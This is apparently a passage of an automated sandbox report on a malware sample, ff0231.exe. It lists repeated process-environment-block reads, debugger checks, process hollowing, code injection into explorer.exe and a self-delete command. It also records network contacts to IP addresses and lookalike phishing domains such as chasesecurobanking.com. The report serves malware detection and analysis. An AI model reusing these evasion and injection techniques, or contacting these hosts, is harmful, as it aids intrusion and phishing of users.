Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500B171 mov eax, dword ptr fs:[00000030h] 9_2_0500B171
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502C577 mov eax, dword ptr fs:[00000030h] 9_2_0502C577
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502C577 mov eax, dword ptr fs:[00000030h] 9_2_0502C577
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502C182 mov eax, dword ptr fs:[00000030h] 9_2_0502C182
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032581 mov eax, dword ptr fs:[00000030h] 9_2_05032581
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032581 mov eax, dword ptr fs:[00000030h] 9_2_05032581
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032581 mov eax, dword ptr fs:[00000030h] 9_2_05032581
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032581 mov eax, dword ptr fs:[00000030h] 9_2_05032581
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503A185 mov eax, dword ptr fs:[00000030h] 9_2_0503A185
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05002D8A mov eax, dword ptr fs:[00000030h] 9_2_05002D8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05002D8A mov eax, dword ptr fs:[00000030h] 9_2_05002D8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05002D8A mov eax, dword ptr fs:[00000030h] 9_2_05002D8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05002D8A mov eax, dword ptr fs:[00000030h] 9_2_05002D8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05002D8A mov eax, dword ptr fs:[00000030h] 9_2_05002D8A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032990 mov eax, dword ptr fs:[00000030h] 9_2_05032990
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503FD9B mov eax, dword ptr fs:[00000030h] 9_2_0503FD9B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503FD9B mov eax, dword ptr fs:[00000030h] 9_2_0503FD9B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D05AC mov eax, dword ptr fs:[00000030h] 9_2_050D05AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D05AC mov eax, dword ptr fs:[00000030h] 9_2_050D05AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050335A1 mov eax, dword ptr fs:[00000030h] 9_2_050335A1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050361A0 mov eax, dword ptr fs:[00000030h] 9_2_050361A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050361A0 mov eax, dword ptr fs:[00000030h] 9_2_050361A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050869A6 mov eax, dword ptr fs:[00000030h] 9_2_050869A6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05031DB5 mov eax, dword ptr fs:[00000030h] 9_2_05031DB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05031DB5 mov eax, dword ptr fs:[00000030h] 9_2_05031DB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05031DB5 mov eax, dword ptr fs:[00000030h] 9_2_05031DB5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050851BE mov eax, dword ptr fs:[00000030h] 9_2_050851BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050851BE mov eax, dword ptr fs:[00000030h] 9_2_050851BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050851BE mov eax, dword ptr fs:[00000030h] 9_2_050851BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050851BE mov eax, dword ptr fs:[00000030h] 9_2_050851BE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086DC9 mov eax, dword ptr fs:[00000030h] 9_2_05086DC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086DC9 mov eax, dword ptr fs:[00000030h] 9_2_05086DC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086DC9 mov eax, dword ptr fs:[00000030h] 9_2_05086DC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086DC9 mov ecx, dword ptr fs:[00000030h] 9_2_05086DC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086DC9 mov eax, dword ptr fs:[00000030h] 9_2_05086DC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086DC9 mov eax, dword ptr fs:[00000030h] 9_2_05086DC9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500B1E1 mov eax, dword ptr fs:[00000030h] 9_2_0500B1E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500B1E1 mov eax, dword ptr fs:[00000030h] 9_2_0500B1E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500B1E1 mov eax, dword ptr fs:[00000030h] 9_2_0500B1E1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050941E8 mov eax, dword ptr fs:[00000030h] 9_2_050941E8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501D5E0 mov eax, dword ptr fs:[00000030h] 9_2_0501D5E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501D5E0 mov eax, dword ptr fs:[00000030h] 9_2_0501D5E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CFDE2 mov eax, dword ptr fs:[00000030h] 9_2_050CFDE2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CFDE2 mov eax, dword ptr fs:[00000030h] 9_2_050CFDE2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CFDE2 mov eax, dword ptr fs:[00000030h] 9_2_050CFDE2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CFDE2 mov eax, dword ptr fs:[00000030h] 9_2_050CFDE2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050B8DF1 mov eax, dword ptr fs:[00000030h] 9_2_050B8DF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D740D mov eax, dword ptr fs:[00000030h] 9_2_050D740D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D740D mov eax, dword ptr fs:[00000030h] 9_2_050D740D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D740D mov eax, dword ptr fs:[00000030h] 9_2_050D740D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086C0A mov eax, dword ptr fs:[00000030h] 9_2_05086C0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086C0A mov eax, dword ptr fs:[00000030h] 9_2_05086C0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086C0A mov eax, dword ptr fs:[00000030h] 9_2_05086C0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086C0A mov eax, dword ptr fs:[00000030h] 9_2_05086C0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1C06 mov eax, dword ptr fs:[00000030h] 9_2_050C1C06
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D4015 mov eax, dword ptr fs:[00000030h] 9_2_050D4015
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D4015 mov eax, dword ptr fs:[00000030h] 9_2_050D4015
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05087016 mov eax, dword ptr fs:[00000030h] 9_2_05087016
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05087016 mov eax, dword ptr fs:[00000030h] 9_2_05087016
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05087016 mov eax, dword ptr fs:[00000030h] 9_2_05087016
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501B02A mov eax, dword ptr fs:[00000030h] 9_2_0501B02A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501B02A mov eax, dword ptr fs:[00000030h] 9_2_0501B02A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501B02A mov eax, dword ptr fs:[00000030h] 9_2_0501B02A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501B02A mov eax, dword ptr fs:[00000030h] 9_2_0501B02A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503002D mov eax, dword ptr fs:[00000030h] 9_2_0503002D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503002D mov eax, dword ptr fs:[00000030h] 9_2_0503002D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503002D mov eax, dword ptr fs:[00000030h] 9_2_0503002D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503002D mov eax, dword ptr fs:[00000030h] 9_2_0503002D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503002D mov eax, dword ptr fs:[00000030h] 9_2_0503002D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503BC2C mov eax, dword ptr fs:[00000030h] 9_2_0503BC2C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503A44B mov eax, dword ptr fs:[00000030h] 9_2_0503A44B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05020050 mov eax, dword ptr fs:[00000030h] 9_2_05020050
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05020050 mov eax, dword ptr fs:[00000030h] 9_2_05020050
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509C450 mov eax, dword ptr fs:[00000030h] 9_2_0509C450
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509C450 mov eax, dword ptr fs:[00000030h] 9_2_0509C450
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502746D mov eax, dword ptr fs:[00000030h] 9_2_0502746D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D1074 mov eax, dword ptr fs:[00000030h] 9_2_050D1074
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C2073 mov eax, dword ptr fs:[00000030h] 9_2_050C2073
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05009080 mov eax, dword ptr fs:[00000030h] 9_2_05009080
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05083884 mov eax, dword ptr fs:[00000030h] 9_2_05083884
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05083884 mov eax, dword ptr fs:[00000030h] 9_2_05083884
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501849B mov eax, dword ptr fs:[00000030h] 9_2_0501849B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 mov eax, dword ptr fs:[00000030h] 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 mov eax, dword ptr fs:[00000030h] 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 mov eax, dword ptr fs:[00000030h] 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 mov eax, dword ptr fs:[00000030h] 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 mov eax, dword ptr fs:[00000030h] 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 mov eax, dword ptr fs:[00000030h] 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050490AF mov eax, dword ptr fs:[00000030h] 9_2_050490AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503F0BF mov ecx, dword ptr fs:[00000030h] 9_2_0503F0BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503F0BF mov eax, dword ptr fs:[00000030h] 9_2_0503F0BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503F0BF mov eax, dword ptr fs:[00000030h] 9_2_0503F0BF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509B8D0 mov eax, dword ptr fs:[00000030h] 9_2_0509B8D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509B8D0 mov ecx, dword ptr fs:[00000030h] 9_2_0509B8D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509B8D0 mov eax, dword ptr fs:[00000030h] 9_2_0509B8D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509B8D0 mov eax, dword ptr fs:[00000030h] 9_2_0509B8D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509B8D0 mov eax, dword ptr fs:[00000030h] 9_2_0509B8D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509B8D0 mov eax, dword ptr fs:[00000030h] 9_2_0509B8D0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D8CD6 mov eax, dword ptr fs:[00000030h] 9_2_050D8CD6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050058EC mov eax, dword ptr fs:[00000030h] 9_2_050058EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C14FB mov eax, dword ptr fs:[00000030h] 9_2_050C14FB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086CF0 mov eax, dword ptr fs:[00000030h] 9_2_05086CF0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086CF0 mov eax, dword ptr fs:[00000030h] 9_2_05086CF0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05086CF0 mov eax, dword ptr fs:[00000030h] 9_2_05086CF0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D070D mov eax, dword ptr fs:[00000030h] 9_2_050D070D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D070D mov eax, dword ptr fs:[00000030h] 9_2_050D070D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503A70E mov eax, dword ptr fs:[00000030h] 9_2_0503A70E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503A70E mov eax, dword ptr fs:[00000030h] 9_2_0503A70E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502F716 mov eax, dword ptr fs:[00000030h] 9_2_0502F716
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C131B mov eax, dword ptr fs:[00000030h] 9_2_050C131B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509FF10 mov eax, dword ptr fs:[00000030h] 9_2_0509FF10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0509FF10 mov eax, dword ptr fs:[00000030h] 9_2_0509FF10
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05004F2E mov eax, dword ptr fs:[00000030h] 9_2_05004F2E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05004F2E mov eax, dword ptr fs:[00000030h] 9_2_05004F2E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503E730 mov eax, dword ptr fs:[00000030h] 9_2_0503E730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500DB40 mov eax, dword ptr fs:[00000030h] 9_2_0500DB40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501EF40 mov eax, dword ptr fs:[00000030h] 9_2_0501EF40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D8B58 mov eax, dword ptr fs:[00000030h] 9_2_050D8B58
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500F358 mov eax, dword ptr fs:[00000030h] 9_2_0500F358
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500DB60 mov ecx, dword ptr fs:[00000030h] 9_2_0500DB60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501FF60 mov eax, dword ptr fs:[00000030h] 9_2_0501FF60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D8F6A mov eax, dword ptr fs:[00000030h] 9_2_050D8F6A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05033B7A mov eax, dword ptr fs:[00000030h] 9_2_05033B7A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05033B7A mov eax, dword ptr fs:[00000030h] 9_2_05033B7A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C138A mov eax, dword ptr fs:[00000030h] 9_2_050C138A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050BD380 mov ecx, dword ptr fs:[00000030h] 9_2_050BD380
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05011B8F mov eax, dword ptr fs:[00000030h] 9_2_05011B8F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05011B8F mov eax, dword ptr fs:[00000030h] 9_2_05011B8F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503B390 mov eax, dword ptr fs:[00000030h] 9_2_0503B390
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032397 mov eax, dword ptr fs:[00000030h] 9_2_05032397
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05018794 mov eax, dword ptr fs:[00000030h] 9_2_05018794
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05087794 mov eax, dword ptr fs:[00000030h] 9_2_05087794
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05087794 mov eax, dword ptr fs:[00000030h] 9_2_05087794
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05087794 mov eax, dword ptr fs:[00000030h] 9_2_05087794
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D5BA5 mov eax, dword ptr fs:[00000030h] 9_2_050D5BA5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05034BAD mov eax, dword ptr fs:[00000030h] 9_2_05034BAD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05034BAD mov eax, dword ptr fs:[00000030h] 9_2_05034BAD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05034BAD mov eax, dword ptr fs:[00000030h] 9_2_05034BAD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050853CA mov eax, dword ptr fs:[00000030h] 9_2_050853CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050853CA mov eax, dword ptr fs:[00000030h] 9_2_050853CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050303E2 mov eax, dword ptr fs:[00000030h] 9_2_050303E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050303E2 mov eax, dword ptr fs:[00000030h] 9_2_050303E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050303E2 mov eax, dword ptr fs:[00000030h] 9_2_050303E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050303E2 mov eax, dword ptr fs:[00000030h] 9_2_050303E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050303E2 mov eax, dword ptr fs:[00000030h] 9_2_050303E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050303E2 mov eax, dword ptr fs:[00000030h] 9_2_050303E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502DBE9 mov eax, dword ptr fs:[00000030h] 9_2_0502DBE9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050437F5 mov eax, dword ptr fs:[00000030h] 9_2_050437F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500C600 mov eax, dword ptr fs:[00000030h] 9_2_0500C600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500C600 mov eax, dword ptr fs:[00000030h] 9_2_0500C600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500C600 mov eax, dword ptr fs:[00000030h] 9_2_0500C600
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05038E00 mov eax, dword ptr fs:[00000030h] 9_2_05038E00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1608 mov eax, dword ptr fs:[00000030h] 9_2_050C1608
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05018A0A mov eax, dword ptr fs:[00000030h] 9_2_05018A0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05005210 mov eax, dword ptr fs:[00000030h] 9_2_05005210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05005210 mov ecx, dword ptr fs:[00000030h] 9_2_05005210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05005210 mov eax, dword ptr fs:[00000030h] 9_2_05005210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05005210 mov eax, dword ptr fs:[00000030h] 9_2_05005210
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500AA16 mov eax, dword ptr fs:[00000030h] 9_2_0500AA16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500AA16 mov eax, dword ptr fs:[00000030h] 9_2_0500AA16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05023A1C mov eax, dword ptr fs:[00000030h] 9_2_05023A1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503A61C mov eax, dword ptr fs:[00000030h] 9_2_0503A61C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503A61C mov eax, dword ptr fs:[00000030h] 9_2_0503A61C
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\ff0231.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0040ACE0 LdrLoadDll, 3_2_0040ACE0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_10006DA9 SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_10006DA9

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 5.9.96.94 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 142.250.203.115 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.teslaislandboys.com
Source: C:\Windows\explorer.exe Network Connect: 15.197.142.173 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.schuette.tech
Source: C:\Windows\explorer.exe Domain query: www.meta-facebook.life
Source: C:\Windows\explorer.exe Domain query: www.facebook-meta.net
Source: C:\Windows\explorer.exe Network Connect: 185.53.178.54 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.comptesgratuit.fr
Source: C:\Windows\explorer.exe Network Connect: 34.102.136.180 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.evchargeoracle.com
Source: C:\Windows\explorer.exe Domain query: www.chasesecurobanking.com
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\ff0231.exe Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: 1070000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\ff0231.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\ff0231.exe Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Section loaded: unknown target: unknown protection: read write Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\ff0231.exe Memory written: C:\Users\user\Desktop\ff0231.exe base: 400000 value starts with: 4D5A Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\ff0231.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\ff0231.exe Thread register set: target process: 3424 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 3424 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Thread register set: target process: 6012 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\ff0231.exe Process created: C:\Users\user\Desktop\ff0231.exe "C:\Users\user\Desktop\ff0231.exe" Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\ff0231.exe" Jump to behavior
Source: explorer.exe, 00000010.00000000.873688142.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000010.00000000.806552019.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: GProgman
Source: explorer.exe, 00000005.00000000.680348360.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.710337687.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.693769733.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.694248154.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.680861129.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.710578912.0000000001080000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.682837732.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.694248154.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.680861129.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.710578912.0000000001080000.00000002.00020000.sdmp, rundll32.exe, 00000009.00000002.1195863451.00000000038A0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000003.806389937.0000000004B41000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.876694512.0000000004B74000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.821595655.0000000004B74000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.874008659.00000000010E0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000003.806569540.0000000004B71000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.807619992.00000000010E0000.00000002.00020000.sdmp, explorer.exe, 00000010.00000000.877804604.0000000004DA0000.00000004.00000001.sdmp, explorer.exe, 00000010.00000000.823573797.0000000004DA0000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd
